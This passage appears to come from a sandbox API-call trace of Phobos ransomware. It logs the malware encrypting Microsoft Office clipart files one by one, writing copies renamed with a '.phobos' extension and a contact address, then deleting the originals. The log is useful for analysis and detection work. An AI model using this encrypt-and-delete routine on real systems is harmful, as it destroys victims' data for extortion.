"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.351] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.351] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.352] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b50) returned 1 [0166.352] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.352] ReadFile (in: hFile=0x2c8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x820, lpOverlapped=0x0) returned 1 [0166.374] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x830, dwBufLen=0x830 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x830) returned 1 [0166.374] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x830, lpOverlapped=0x0) returned 1 [0166.375] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d18d0) returned 1 [0166.375] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.375] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.375] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0166.375] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.375] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0166.375] CloseHandle (hObject=0x2c8) returned 1 [0166.375] CloseHandle (hObject=0x2cc) returned 1 [0166.375] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0166.377] SetEvent (hEvent=0x298) returned 1 [0166.377] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.378] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2080) returned 1 [0166.378] CloseHandle (hObject=0x2cc) returned 1 [0166.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0166.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.378] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.378] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.379] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d19d0) returned 1 [0166.379] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.379] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x820, lpOverlapped=0x0) returned 1 [0166.389] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x830, dwBufLen=0x830 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x830) returned 1 [0166.390] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x830, lpOverlapped=0x0) returned 1 [0166.390] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0166.391] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.391] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.391] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0166.391] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.391] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.391] CloseHandle (hObject=0x2cc) returned 1 [0166.391] CloseHandle (hObject=0x2c8) returned 1 [0166.391] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0166.393] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.393] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2020) returned 1 [0166.394] CloseHandle (hObject=0x2c8) returned 1 [0166.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0166.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.394] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.395] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.396] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1550) returned 1 [0166.396] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.396] ReadFile (in: hFile=0x2c8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x7e4, lpOverlapped=0x0) returned 1 [0166.421] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x7f0) returned 1 [0166.421] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x7f0, lpOverlapped=0x0) returned 1 [0166.422] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0166.422] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.422] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.422] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.422] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.423] CryptDestroyKey (hKey=0x1d1550) returned 1 [0166.423] CloseHandle (hObject=0x2c8) returned 1 [0166.423] CloseHandle (hObject=0x2cc) returned 1 [0166.423] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0166.425] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.425] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2052) returned 1 [0166.425] CloseHandle (hObject=0x2cc) returned 1 [0166.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0166.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.426] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.426] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.427] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d17d0) returned 1 [0166.427] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.427] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x804, lpOverlapped=0x0) returned 1 [0166.647] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x810, dwBufLen=0x810 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x810) returned 1 [0166.647] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x810, lpOverlapped=0x0) returned 1 [0166.648] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d15d0) returned 1 [0166.648] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.648] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.648] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0166.648] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.648] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0166.648] CloseHandle (hObject=0x2cc) returned 1 [0166.649] CloseHandle (hObject=0x2c8) returned 1 [0166.649] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0166.650] SetEvent (hEvent=0x298) returned 1 [0166.650] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.651] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2084) returned 1 [0166.651] CloseHandle (hObject=0x2c8) returned 1 [0166.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0166.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.651] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.651] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.652] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b50) returned 1 [0166.652] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.652] ReadFile (in: hFile=0x2c8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x824, lpOverlapped=0x0) returned 1 [0166.663] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x830, dwBufLen=0x830 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x830) returned 1 [0166.663] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x830, lpOverlapped=0x0) returned 1 [0166.663] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1ad0) returned 1 [0166.664] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.664] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.664] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0166.664] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.664] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0166.664] CloseHandle (hObject=0x2c8) returned 1 [0166.664] CloseHandle (hObject=0x2cc) returned 1 [0166.664] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0166.665] SetEvent (hEvent=0x298) returned 1 [0166.666] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.666] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2996) returned 1 [0166.666] CloseHandle (hObject=0x2cc) returned 1 [0166.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0166.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.666] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.666] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.667] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1590) returned 1 [0166.667] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.667] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xbb4, lpOverlapped=0x0) returned 1 [0166.721] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xbc0) returned 1 [0166.721] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xbc0, lpOverlapped=0x0) returned 1 [0166.722] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, 